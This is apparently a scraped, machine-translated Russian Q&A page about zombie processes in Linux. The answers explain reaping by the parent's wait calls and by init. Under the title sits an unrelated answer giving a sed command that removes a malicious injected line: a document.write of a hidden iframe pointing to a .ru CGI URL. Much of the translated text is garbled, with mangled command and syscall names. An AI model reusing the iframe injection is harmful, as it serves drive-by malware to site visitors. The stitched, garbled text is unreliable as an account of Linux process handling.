То, как делает Linux, обрабатывает процесс-зомби

Да восстанавливающий от резервного копирования лучше. Но относительно sed:

sed -i '.bak' -e '$ {\!^;document\.write('\''<iframe src="http://efficienttrue\.ru/upwherehandpainted\.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'\'');$! d; }' FILENAME

Я протестировал, и это работает правильно, независимо от того, имеет ли ИМЯ ФАЙЛА запаздывание \n. Однако это действительно ожидает, что строка, которая будет удалена всегда, является последней строкой (в этом суть $ { ... }.

12
20.08.2014, 15:57
4 ответа

Процессы зомби уже мертвы. Вы не можете их убить. Команда Убить или системный вызов не влияет на процесс зомби. (Вы можете заставить зомби уйти с Убить Убить , но вы должны стрелять в родитель, а не зомби, как мы увидим через минуту.)

Процесс зомби не является процессом , это только запись в таблице процесса. Нет других ресурсов, связанных с процессом зомби: у него нет никакой памяти или любого запущенного кода, он не содержит никаких файлов, открытых и т. Д.

, когда процесс умирает, последнее, что нужно пойти, ведь Другие ресурсы очищены, является запись в таблице процессов. Эта запись содержится вокруг, образуя зомби, чтобы получить родительский процесс отслеживать состояние выхода ребенка. Родитель читает состояние выхода, позвонив одному из ждут семейства Syscalls; На данный момент зомби исчезают. Позволяя ждать , ждать пожинает ребенком, продлевая метафору овраги зомби, но в некотором роде все еще не полностью обработана в загробную жизнь. Родитель также может указывать на то, что он не заботится (игнорируя сигнал SIGCHLD, или путем вызова SIGCTACTION с флагом ), в этом случае вход в таблицу процесса удален немедленно, когда ребенок умирает.

Таким образом, зомби существует только тогда, когда процесс умер, и его родитель не звонил ждать . Это состояние может длиться только до тех пор, пока родитель все еще работает. Если родитель умирает перед ребенком или умирает, не прочитав статус ребенка, родительский процесс зомби устанавливается на процесс с PID 1, который является init . Одной из рабочих мест INIT состоит в том, чтобы позвонить ждать в цикле и, таким образом, пожинать любого процесса зомби, оставленного позади его родителя.

18
27.01.2020, 19:54

Нет, нет встроенного механизма очистки для зомби. Зомби попадают в рай зомби, как только убивают их родителей. А до тех пор операционная система держит их, чтобы вернуть родителям статус выхода.

1
27.01.2020, 19:54

Нельзя убивать зомби-процесс, так как он уже мертв.

Зомби-процессы должны быть подождать от родителей, чтобы их статус выхода был собран.

Единственный "встроенный механизм очистки", существующий в Linux, работает в том случае, если любой родительский процесс умирает до того, как он соберет статус выхода своих детей. В этом случае каждый дочерний процесс наследуется процессом init, который будет ждать на дочернем процессе, собирать его статус выхода и удалять его запись в таблице процессов.

6
27.01.2020, 19:54

Как только умирает родитель процесса, процесс становится сиротой, не обращая внимания на то, зомби он или нет. Что происходит с сиротами? Они получают нового родителя, называемого init. init будет ждать каждого собранного им сироты, таким образом пожиная сироту (которая, возможно, тоже была зомби).

3
27.01.2020, 19:54

Теги

Похожие вопросы